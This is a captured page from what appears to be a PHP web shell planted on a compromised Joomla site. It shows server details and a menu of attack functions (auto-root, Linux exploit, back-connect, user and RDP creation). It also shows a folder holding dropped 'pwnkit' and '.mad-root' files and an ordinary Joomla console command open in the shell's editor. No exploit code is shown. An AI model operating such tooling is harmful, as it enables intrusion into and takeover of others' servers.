Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
zenit /
libraries /
src /
Console /
[ HOME SHELL ]
Name
Size
Permission
Action
Loader
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AddUserCommand.php
6.91
KB
-rw----r--
AddUserToGroupCommand.php
6.53
KB
-rw----r--
ChangeUserPasswordCommand.php
3.78
KB
-rw----r--
CheckJoomlaUpdatesCommand.php
3.11
KB
-rw----r--
CheckUpdatesCommand.php
2.17
KB
-rw----r--
CleanCacheCommand.php
1.69
KB
-rw----r--
DeleteUserCommand.php
4.56
KB
-rw----r--
ExtensionDiscoverCommand.php
3.16
KB
-rw----r--
ExtensionDiscoverInstallComman...
5.5
KB
-rw----r--
ExtensionDiscoverListCommand.p...
2.55
KB
-rw----r--
ExtensionInstallCommand.php
5.05
KB
-rw----r--
ExtensionRemoveCommand.php
4.67
KB
-rw----r--
ExtensionsListCommand.php
5.2
KB
-rw----r--
FinderIndexCommand.php
12.47
KB
-rw----r--
GetConfigurationCommand.php
7.36
KB
-rw----r--
ListUserCommand.php
3.05
KB
-rw----r--
RemoveOldFilesCommand.php
4.1
KB
-rw----r--
RemoveUserFromGroupCommand.php
7
KB
-rw----r--
SessionGcCommand.php
3.24
KB
-rw----r--
SessionMetadataGcCommand.php
2.57
KB
-rw----r--
SetConfigurationCommand.php
10.14
KB
-rw----r--
SiteDownCommand.php
2.45
KB
-rw----r--
SiteUpCommand.php
2.42
KB
-rw----r--
UpdateCoreCommand.php
7.77
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RemoveOldFilesCommand.php
<?php /** * Joomla! Content Management System * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Console; \defined('JPATH_PLATFORM') or die; use Joomla\Console\Command\AbstractCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; /** * Console command for removing files which should have been cleared during an update * * @since 4.0.0 */ class RemoveOldFilesCommand extends AbstractCommand { /** * The default command name * * @var string * @since 4.0.0 */ protected static $defaultName = 'update:joomla:remove-old-files'; /** * Internal function to execute the command. * * @param InputInterface $input The input to inject into the command. * @param OutputInterface $output The output to inject into the command. * * @return integer The command exit code * * @since 4.0.0 */ protected function doExecute(InputInterface $input, OutputInterface $output): int { $symfonyStyle = new SymfonyStyle($input, $output); $dryRun = $input->getOption('dry-run'); $symfonyStyle->title('Removing Unneeded Files & Folders' . ($dryRun ? ' - Dry Run' : '')); // We need the update script \JLoader::register('JoomlaInstallerScript', JPATH_ADMINISTRATOR . '/components/com_admin/script.php'); $status = (new \JoomlaInstallerScript)->deleteUnexistingFiles($dryRun, true); if ($output->isVeryVerbose()||$output->isDebug()) { foreach ($status['files_checked'] as $file) { $exists = in_array($file, array_values($status['files_exist'])); if ($exists) { $symfonyStyle->writeln('<error>File Checked & Exists</error> - ' . $file, OutputInterface::VERBOSITY_VERY_VERBOSE); } else { $symfonyStyle->writeln('<info>File Checked & Doesn\'t Exist</info> - ' . $file, OutputInterface::VERBOSITY_DEBUG); } } foreach ($status['folders_checked'] as $folder) { $exists = in_array($folder, array_values($status['folders_exist'])); if ($exists) { $symfonyStyle->writeln('<error>Folder Checked & Exists</error> - ' . $folder, OutputInterface::VERBOSITY_VERY_VERBOSE); } else { $symfonyStyle->writeln('<info>Folder Checked & Doesn\'t Exist</info> - ' . $folder, OutputInterface::VERBOSITY_DEBUG); } } } if ($dryRun === false) { foreach ($status['files_deleted'] as $file) { $symfonyStyle->writeln('<comment>File Deleted = ' . $file . '</comment>', OutputInterface::VERBOSITY_VERBOSE); } foreach ($status['files_errors'] as $error) { $symfonyStyle->error($error); } foreach ($status['folders_deleted'] as $folder) { $symfonyStyle->writeln('<comment>Folder Deleted = ' . $folder . '</comment>', OutputInterface::VERBOSITY_VERBOSE); } foreach ($status['folders_errors'] as $error) { $symfonyStyle->error($error); } } $symfonyStyle->success( sprintf( $dryRun ? '%s Files checked and %s would be deleted' : '%s Files checked and %s deleted', \count($status['files_checked']), ($dryRun ? \count($status['files_exist']) : \count($status['files_deleted'])) ) ); $symfonyStyle->success( sprintf( $dryRun ? '%s Folders checked and %s would be deleted' : '%s Folders checked and %s deleted', \count($status['folders_checked']), ($dryRun ? \count($status['folders_exist']) : \count($status['folders_deleted'])) ) ); return Command::SUCCESS; } /** * Configure the command. * * @return void * * @since 4.0.0 */ protected function configure(): void { $help = "<info>%command.name%</info> removes old files which should have been deleted during a Joomla update \nUsage: <info>php %command.full_name%</info>"; $this->setDescription('Remove old system files'); $this->addOption('dry-run', null, InputOption::VALUE_NONE, 'Executes a dry run without deleting anything'); $this->setHelp($help); } }
Close